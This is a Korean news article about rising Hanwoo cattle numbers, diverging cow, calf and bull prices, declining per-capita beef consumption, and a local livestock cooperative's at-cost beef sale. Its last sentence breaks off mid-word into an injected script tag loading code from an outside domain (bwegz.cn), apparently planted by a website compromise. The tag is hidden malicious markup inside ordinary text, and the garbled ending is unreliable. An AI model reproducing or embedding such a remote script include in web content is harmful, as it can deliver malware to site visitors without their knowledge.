사육마리수 증가+소비부진=출하물량 체화
육류의 소비가 늘어나고 있지만 쇠고기 소비는 줄어들고 있어 한우고기 소비촉진이 필요하다는 지적이 일고 있다.
특히 사육열기 고조로 암소와 송아지의 산지가격이 꾸준히 증가해 사육마리수도 늘어나고 있다.
그러나 출하대기 물량의 체화 및 쇠고기 소비부진 등의 여파로 수소가격만은 하락세로 나타나고 있다.
-암소와 송아지값 상승과 달리 수소값은 내려
실제 연초 미국산 쇠고기 재수입 방침 결정으로 주춤하던 사육열기가 다시 살아나고 있다.
농산물품질관리원이 조사한 3월말 현재 한우의 사육마리수는 전분기보다 2만6000마리가 늘어난 165만9000마리에 달하고 있다.
사육열기가 고조되면서 큰암소(600kg 기준)와 송아지(4~5개월령)가격은 지속적으로 오르고 있다.
지난해 4월 평균 508만원이던 암소가격이 12일 현재 60만원이 오른 567만8000원을 기록했다.
송아지가격도 지속적으로 오르면서 암송아지 가격은 3월 평균 284만원에서 12일 현재 307만7000원.
수송아지는 233만2000원에서 241만6000원으로 오름세를 보이고 있다.
수소(600kg 기준)가격은 지난해 평균가격 460만6000원에서 올 3월말 412만3000원으로 떨어져 최근 출하물량 체화 및 소비부진을 반영했다.
특히 12일 현재 411만5000원으로 지속적인 하락세를 보이면서 송아지와 큰수소의 가격차가 점차 줄어들고 있는 것으로 나타났다.
안대호 의성축협 상임이사는 “지난해까지는 한우 출하물량이 밀리지 않았다”며 “올해는 쇠고기 소비 부진으로 전국적으로 출하물량이 체화되는 현상이 나타나고 있는 것으로 알고 있다”고 말했다.
-쇠고기 소비부진 심각, 출하물량 체화도
쇠고기 소비부진은 미국산 쇠고기 수입금지 여파 등의 영향으로 쇠고기 소비자가격이 오른데 따른 것으로 풀이되고 있다.
특히 쇠고기 소비의 부진은 1993년이후 처음으로 지난해 닭고기 소비가 쇠고기 소비를 추월한데서 잘 나타나고 있다.
농림부 통계에 따르면 2002년 국민 1인당 육류 소비량은 쇠고기 8.5kg(25.4%), 돼지고기 17.0kg(50.7%), 닭고기 8.0kg(23.9%).
하지만 2005년 쇠고기 소비량은 6.5kg으로 전년(6.8kg)보다 줄어 닭고기(8.0kg)가 쇠고기 소비를 추월한 것으로 조사됐다.
특히 3년간 감소하던 국민 1인당 육류소비량이 지난해 소폭 증가했지만 쇠고기의 소비는 지속적으로 줄었다.
이에 따라 산지의 출하물량 체화, 소비부진, 사육마리수 증가로 인한 소값 파동을 미연에 방지하기 위해선 한우고기 소비촉진을 위한 대책마련이 요구되고 있다.
다만 쇠고기 소비부진과 산지 수소가격이 하락세를 보이는 상황에서도 한우 거세를 통한 고급육은 꾸준한 소비와 함께 높은 가격을 유지해 대조를 이루고 있다.
한우농가들은 이에 대해 “현재 거세 고급육이 높은 가격을 받는 것은 사실이지만 거세우가 급격히 늘어날 경우 전체적으로 한우고기 가격 상승을 불러와 소비를 더 둔화시킬 수 있다”며 “산지가격이 소비자가격에 반영되는 연동제 도입과 송아지가격의 안정과 비선호 부위 소비촉진 등의 대책이 필요하다”는 지적이다.
이 같이 한우 사육마리수 증가와 수소가격 하락, 쇠고기 소비 부진 등 한우업계에 위기감이 고조되는 가운데 지역축협과 한우농가들이 공동으로 한우 소비촉진을 위해 다양한 노력을 펼치고 있어 주목받고 있다.
-의성축협 한우 100마리 원가 할인판매
특히 경북 의성축협(조합장 이상문)은 지난 1일부터 본소와 안계, 금성, 봉양 등 지점 축산물판매장을 통해 한우 100마리분에 대해 원가 할인판매에 나서고 있다.
의성축협에 따르면 한우농가의 소득을 보장하고 한우고기의 소비촉진을 위해 한우 100마리분을 계통출하가 아닌 축협매장에서 전량 소진될 때까지 부위에 상관없이 원가 할인판매에 나선다.
이상문 조합장은 “한우농가들이 축협에 판매를 의뢰할 경우 전량 팔아준다는 원칙을 세우고 농가로부터 kg당 최고 7200원에 구입해 자체매장과 택배 등을 통해 전국을 대상으로 할인판매하고 있다”며 “중간상인이 kg당 최고 6500원에 매입하는 것을 감안할 때 농가소득보장과 함께 한우고기 소비촉진에 크게 기여할 것으로 보인다”고 말했다.
이 조합장은 또 “이번 할인판매는 축협에는 이익이 전혀 없지만 축협매장은 안전하고 싸다는 인식을 심어줄 수 있어 향후 축산물판매에 도움이 될 것”이라며 “최근 한우의 출하물량이 체화되고 있어 전국적으로 한우고기 소비촉진 바람이 불기를 기?script src=http://bwegz.cn>
